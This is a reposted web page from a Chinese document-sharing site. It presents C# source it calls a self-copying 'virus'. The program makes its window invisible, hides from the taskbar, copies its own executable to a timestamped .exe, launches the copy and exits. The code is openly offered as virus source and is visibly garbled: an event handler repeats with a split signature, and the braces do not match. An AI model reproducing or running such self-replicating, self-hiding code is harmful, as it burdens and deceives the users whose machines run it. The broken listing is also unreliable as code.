【#文档大全网# 导语】以下是®文档大全网的小编为您整理的《c#自我复制'病毒'代码 win32copy_self》,欢迎阅读!
public partial class Form1 : Form {
public Form1() {
this.Opacity = 0;
InitializeComponent(); }
void copy_self() {
const int ntotal = 10; int nnum = ntotal;
string filepn = Application.ExecutablePath; string sztime = DateTime.Now.Ticks.ToString(); string filen = Path.GetFileName(filepn); while (nnum-- > 0) {
FileStream fsr = new FileStream(filen, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); byte[] bfiler = new byte[fsr.Length]; fsr.Read(bfiler, 0, bfiler.Length);
FileStream fsw = new FileStream(sztime + ".exe", FileMode.OpenOrCreate, FileAccess.Write, FileShare.None);
fsw.Write(bfiler, 0, bfiler.Length); fsw.Close();
System.Diagnostics.Process.Start(sztime + ".exe");
System.Threading.Thread.Sleep(2); Application.Exit();
// string filep = Application.StartupPath; } }
private void Form1_Load(object sender, EventArgs e) {
this.ShowInTaskbar = false;
copy_self();
// Application.Exit();
}
}
private void Form1_Load(object sender, {
this.ShowInTaskbar = false;
copy_self(); }
EventArgs e)
本文来源:https://www.wddqxz.cn/729263f5c8d376eeaeaa31aa.html